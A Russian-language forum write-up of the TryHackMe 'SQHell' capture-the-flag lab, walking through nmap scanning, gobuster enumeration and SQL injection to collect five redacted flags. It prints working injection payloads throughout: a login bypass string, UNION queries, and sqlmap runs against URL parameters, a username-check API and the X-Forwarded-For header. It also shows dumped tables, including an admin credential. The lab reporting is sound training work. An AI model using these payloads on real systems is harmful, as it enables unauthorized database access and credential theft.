Автор темы
ВВОДНЫЕ ДАННЫЕ:
Адрес комнаты - https://tryhackme.com/room/sqhellПояснения:
- В тексте отчета приведены различные IP-адреса комнаты, что связано с неоднократным перезапуском лабораторного оборудования.
- Номера флагов установлены комнатой, и исследовались не в точном порядке нумерации.
- Данные флагов скрыты в соответствии с Политикой ресурса TRYHACKME.
- Ссылка на аккаунт - https://tryhackme.com/p/Nick2.2
ПРОЦЕСС ИССЛЕДОВАНИЯ:
1. Сканирование портов с помощью nmap:1.1. Проводим общее сканирование открытых портов:
──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 --open 10.112.147.47
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1.2. Проводим подробное сканирование открытых портов, с определением версий служб и применением стандартных скриптов:
┌──(kali㉿kali)-[~]
└─$ nmap -p22,80 -sC -sV 10.112.147.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 79:db:a1:10:6a:26:db:df:cd:40:e3:2a:66:7d:20:b1 (RSA)
| 256 24:8d:0e:91:fd:3d:4a:f3:81:49:5b:c6:1f:f4:d3:5b (ECDSA)
|_ 256 e5:e8:dd:fd:8e:1c:a1:9e:5c:8a:a2:ec:c7:7f:26:1d (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
С помощью nmap установлено наличие веб-приложения на порту 80
- Проводим brute force директорий обнаруженного веб-приложения на порту 80, с помощью gobuster, с использованием среднего словаря, редиректа и указанием распространенных расширений, и применением 50 потоков для скорости.
─(kali㉿kali)-[/usr/share/wordlists/dirbuster]└─$ gobuster dir -u http://10.112.147.47:80/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -r -x php,html,txt,js,json,bak,conf===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.112.147.47:80/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: bak,conf,php,html,txt,js,json
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
user (Status: 200) [Size: 21]
register (Status: 200) [Size: 2593]
login (Status: 200) [Size: 1763]
post (Status: 200) [Size: 21]
Progress: 239992 / 239992 (100.00%)
===============================================================
Finished
===============================================================
3. По адресу http://10.112.147.47/ обнаружена страница My blog, на которой расположены ссылки на страницы:
http://10.112.147.47/user?id=1
http://10.112.147.47/post?id=1
http://10.112.147.47/post?id=2
http://10.112.147.47/register
http://10.112.147.47/terms-and-conditions
- По адресу http://10.112.147.47/login обнаружена форма авторизации.
Используя обход аутентификации, а именно - в поле username вводим
admin' -- -
а в качестве пароля - произвольные символы (поскольку при данном виде инъекции символы комментария отсекают часть SQL-запроса, требующую ввод пароля), проходим форму авторизации и получаем первый флаг - THM{FLAG1:REDACTED}
Проверяем на наличие уязвимости к In-band SQLi: Error-Based - путем вставки одинарной кавычки ' в поле ввода URL - получаем ошибку следующего содержания:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Перевод: Ошибка синтаксиса SQL; обратитесь к руководству, соответствующему версии вашего сервера MySQL, для уточнения правильного синтаксиса в районе ''' в строке 1.
На основе ответа можно сделать вывод о том, что используемая приложением база данных - MySQL.
Теперь проводим стандартный тест с помощью sqlmap, тестируем параметр id и отвечаем на стандартные запросы ответами по умолчанию:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/post?id=1" -p id --batch
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1099=1099
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1 AND EXTRACTVALUE(3818,CONCAT(0x5c,0x717a766b71,(SELECT (ELT(3818=3818,1))),0x7170787671))
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9858 FROM (SELECT(SLEEP(5)))QWMS)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-4055 UNION ALL SELECT NULL,NULL,CONCAT(0x717a766b71,0x545159644f666348434d586979677967627256686d616d4f4f616270464e646e5a5a4e764464644a,0x7170787671),NULL-- -
---
[14:45:16] [INFO] the back-end DBMS is MySQL
[14:45:17] [WARNING] potential permission problems detected ('command denied')
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.1
Итак, на основе полученного ответа делаем следующие выводы:
Операционная система веб-сервера - Linux Ubuntu
База данных - MySQL версии 5.1
Веб-сервер работает на ПО Nginx 1.18.0
Параметр id уязвим к нескольким типам SQLi - boolean-based, error-based, stacked queries, time-based, UNION query.
Далее устанавливаем текущую базу и пользователя (запрашиваем имя текущей БД и имя пользователя, от которого осуществляется подключение):
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/post?id=1" -p id --current-db --current-user --batch
[14:55:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.1
[14:55:44] [INFO] fetching current user
[14:55:44] [WARNING] reflective value(s) found and filtering out
current user: 'user_6@%'
[14:55:44] [INFO] fetching current database
current database: 'sqhell_5'
Таким образом, мы получили наименование базы данных - 'sqhell_5' и имя пользователя - 'user_6@%'
Далее проверяем список таблиц базы данных:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/post?id=1" -p id -D sqhell_5 --tables --batch
[14:59:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.1
[14:59:55] [INFO] fetching tables for database: 'sqhell_5'
[14:59:55] [WARNING] reflective value(s) found and filtering out
Database: sqhell_5
[3 tables]
+-------+
| flag |
| posts |
| users |
+-------+
Запрашиваем таблицу flag:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/post?id=1" -p id -D sqhell_5 -T flag -C flag --dump --batch
Database: sqhell_5
Table: flag
[1 entry]
+---------------------------------------------+
| flag |
+---------------------------------------------+
| THM{FLAG5:REDACTED} |
+---------------------------------------------+
Получен флаг № 5.
- Далее переходим к тестированию адреса - http://10.112.147.47/user?id=1
При базовых тестах (`, ", 'OR1=1-- )
приложение возвращает ошибку - Cannot find user, при тесте http://10.112.147.47/user?id=1;-- возвращает форму страницы.
Проводим первичный тест с помощью sqlmap:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/user?id=1" -p id --batch
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7274=7274
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3908 FROM (SELECT(SLEEP(5)))jghf)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-8385 UNION ALL SELECT NULL,CONCAT(0x71786b7171,0x616e4e786c457378445a426248627073776578614c4c69486d6857634a5151796e6e7a4b50557676,0x7171627671),NULL-- -
---
На основе результатов приходим к выводу, что данная форма уязвима к четырем видам вышеперечисленных SQLi.
Далее выясняем структуру базы:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/user?id=1" -p id --current-db --current-user --batch
[15:21:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
[15:21:16] [INFO] fetching current user
[15:21:16] [WARNING] reflective value(s) found and filtering out
current user: 'user_4@%'
[15:21:16] [INFO] fetching current database
current database: 'sqhell_4'
Получаем название базы - 'sqhell_4' и имя пользователя - 'user_4@%'.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/user?id=1" -p id -D sqhell_4 --tables --batch
Database: sqhell_4
[1 table]
+-------+
| users |
+-------+
Далее получаем структуру таблицы users:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/user?id=1" -p id -D sqhell_4 -T users --columns --batch
Database: sqhell_4
Table: users
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int |
| password | varchar(250) |
| username | varchar(250) |
+----------+--------------+
Далее вытаскиваем содержимое таблицы:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.147.47/user?id=1" -p id -D sqhell_4 -T users --dump --batch
Database: sqhell_4
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | password | admin |
+----+----------+----------+
Таким образом, мы получили учетные данные, однако флаг отсутствует. Точка применения учетных данных также не известна. Использование учетных данных в форме авторизации и форме регистрации не дает результата. Считаем данную находку побочной и не относящейся к заданию.
Однако, из вывода sqlmap известно, что форма /user?id=1 уязвима в том числе к UNION-based инъекции.
Пробуем: http://10.112.185.162/user?id=0 UNION SELECT1,2,3
Получаем смену ID пользователя на странице:
Далее пробуем - http://10.112.185.162/user?id=2 union all select "1 union select 1,flag,3,4 from flag-- -",1,2 from users#
Получаем флаг № 4 - THM{FLAG4:REDACTED}
Пробуем зарегистрироваться под произвольными данными.
Форма отвечает, что регистрация новых пользователей закрыта.
Получаем исходный код страницы:
┌──(kali㉿kali)-[~]
└─$ curl 'http://10.112.147.47/register'
<!DOCTYPE html>
<html lang="en">
<head>
<title>Register</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
</head>
<body>
<div class="pull-right" style="padding:15px">
<a href="/login" class="btn btn-success">Login</a>
<a href="/register" class="btn btn-info">Register</a>
</div>
<div class="container" style="margin-top:20px">
<h1 class="text-center">Register</h1>
<div class="row">
<div class="col-md-6 col-md-offset-3">
<ol class="breadcrumb">
<li><a href="/">Home</a></li>
<li class="active">Register</li>
</ol>
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Create Account</div>
<div class="panel-body">
<div><label>Username:</label></div>
<div><input class="form-control" name="username"></div>
<div class="userstatus"></div>
<div style="margin-top:7px"><label>Password:</label></div>
<div><input type="password" class="form-control" name="password"></div>
<div style="margin-top:7px"><label>Confirm Password:</label></div>
<div><input type="password" class="form-control" name="confirm_password"></div>
<div style="margin-top:11px">
<input type="button" onclick="alert('Registrations are no longer open')" class="btn btn-success pull-right" value="Register">
</div>
</div>
</div>
</div>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
$('input[name="username"]').keyup(function(){
$('.userstatus').html('');
let username = $(this).val();
$.getJSON('/register/user-check?username='+ username,function(resp){
if( resp.available ){
$('.userstatus').css('color','#80c13d');
$('.userstatus').html('Username available');
}else{
$('.userstatus').css('color','#F00');
$('.userstatus').html('Username already taken');
}
});
});
</script>
</body>
</html>
Обращаем внимание на следующий блок кода:
let username = $(this).val();
$.getJSON('/register/user-check?username=' + username, function(resp) {
if (resp.available) ...
});
Данный адрес не отображается в веб-странице приложения. Отправляем GET-запросы по данному адресу: admin и testuser123, то есть точно существующее имя пользователя и несуществующее, и таким образом проверяем, что смотрит api:
┌──(kali㉿kali)-[~]
└─$ curl -i -G 'http://10.112.147.47/register/user-check' \
--data-urlencode 'username=testuser123'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 09 Oct 2026 19:37:36 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
{"available":true}
┌──(kali㉿kali)-[~]
└─$ curl -i -G 'http://10.112.147.47/register/user-check' \
--data-urlencode 'username=admin'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 09 Oct 2026 19:37:44 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
{"available":false}
По ответам видно, что api проверяет доступность имени пользователя. Далее пробуем использовать sqlmap:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.112.147.47/register/user-check?username=testuser123' \
-p username --batch
---
Parameter: username (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=testuser123' AND (SELECT 9273 FROM (SELECT(SLEEP(5)))GRAr) AND 'abVZ'='abVZ
---
[15:58:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
Обнаружили уязвимость к time-based SQLi. Далее пробуем получить сведения о базе данных и пользователе:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.112.147.47/register/user-check?username=testuser123' -p username --current-db --current-user --batch
---
[16:01:10] [INFO] adjusting time delay to 1 second due to good response times
user_3@%
current user: 'user_3@%'
[16:01:38] [INFO] fetching current database
[16:01:38] [INFO] retrieved: sqhell_3
current database: 'sqhell_3'
Далее смотрим таблицы полученной базы:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.112.147.47/register/user-check?username=testuser123' -p username -D sqhell_3 --tables --batch
Database: sqhell_3
[2 tables]
+-------+
| flag |
| users |
Теперь получаем структуру таблицы flag:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.112.147.47/register/user-check?username=testuser123' -p username -D sqhell_3 -T flag --columns --batch
Database: sqhell_3
Table: flag
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(250) |
| id | int |
+--------+--------------+
Далее извлекаем таблицу:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.112.147.47/register/user-check?username=testuser123' -p username -D sqhell_3 -T flag --dump --batch
Database: sqhell_3
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG3:REDACTED} |
+----+---------------------------------------------+
Получен флаг № 3.
8.Далее тестируем веб-страницу - http://10.113.143.51/terms-and-conditions
На странице обнаружен следующий текст:
Terms and Conditions
We only have a few small terms:
i: We own the soul of any visitors
ii: We can't be blamed for any security breaches
iii: We log your IP address for analytics purposes
Перевод:
Условия и положения
У нас всего несколько простых условий:
i: Мы владеем душами всех посетителей
ii: Мы не несем ответственности за любые нарушения безопасности
iii: Мы фиксируем ваш IP-адрес в аналитических целях
Ссылка на фиксацию IP-адреса представляет собой подсказку - пробуем изучить это направление.
Как известно, веб-приложения фиксируют IP-адрес клиента через заголовки HTTP-запроса, отправляемого браузером. Пробуем эту точку входа:
─(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.113.143.51/" \
--headers="X-Forwarded-For: 1" \
-p "X-Forwarded-For" \
--batch --level=5 --risk=3
---
Parameter: X-Forwarded-For ((custom) HEADER)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: 1';SELECT SLEEP(5)#
---
[04:29:50] [INFO] the back-end DBMS is MySQL
[04:29:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
Отсюда видно, что база уязвима через заголовок X-Forwarded-For, к инъекции типа stacked queries.
Далее определяем текущую базу данных и пользователя:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.113.143.51/" \
--headers="X-Forwarded-For: 1" \
-p "X-Forwarded-For" \
--current-db --current-user --batch
current user: 'user_1@%'
current database: 'sqhell_1'
Далее вытаскиваем таблицы из обнаруженной базы:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.113.143.51/" \
--headers="X-Forwarded-For: 1" \
-p "X-Forwarded-For" \
-D sqhell_1 --tables --batch
[04:42:11] [INFO] retrieved: hits
Database: sqhell_1
[2 tables]
+------+
| flag |
| hits |
+------+
Теперь получаем содержимое таблицы flag:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.113.143.51/" \
--headers="X-Forwarded-For: 1" \
-p "X-Forwarded-For" \
-D sqhell_1 -T flag --dump --batch
___
[04:46:56] [INFO] retrieved: 1
Database: sqhell_1
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG2:REDACTED} |
+----+---------------------------------------------+
Получен флаг № 2.
Таким образом, лаборатория пройдена, с использованием инструментов nmap для сканирования портов и определения версий сервисов и служб, gobuster для перебора директорий, и sqlmap для реализации sql-инъекций.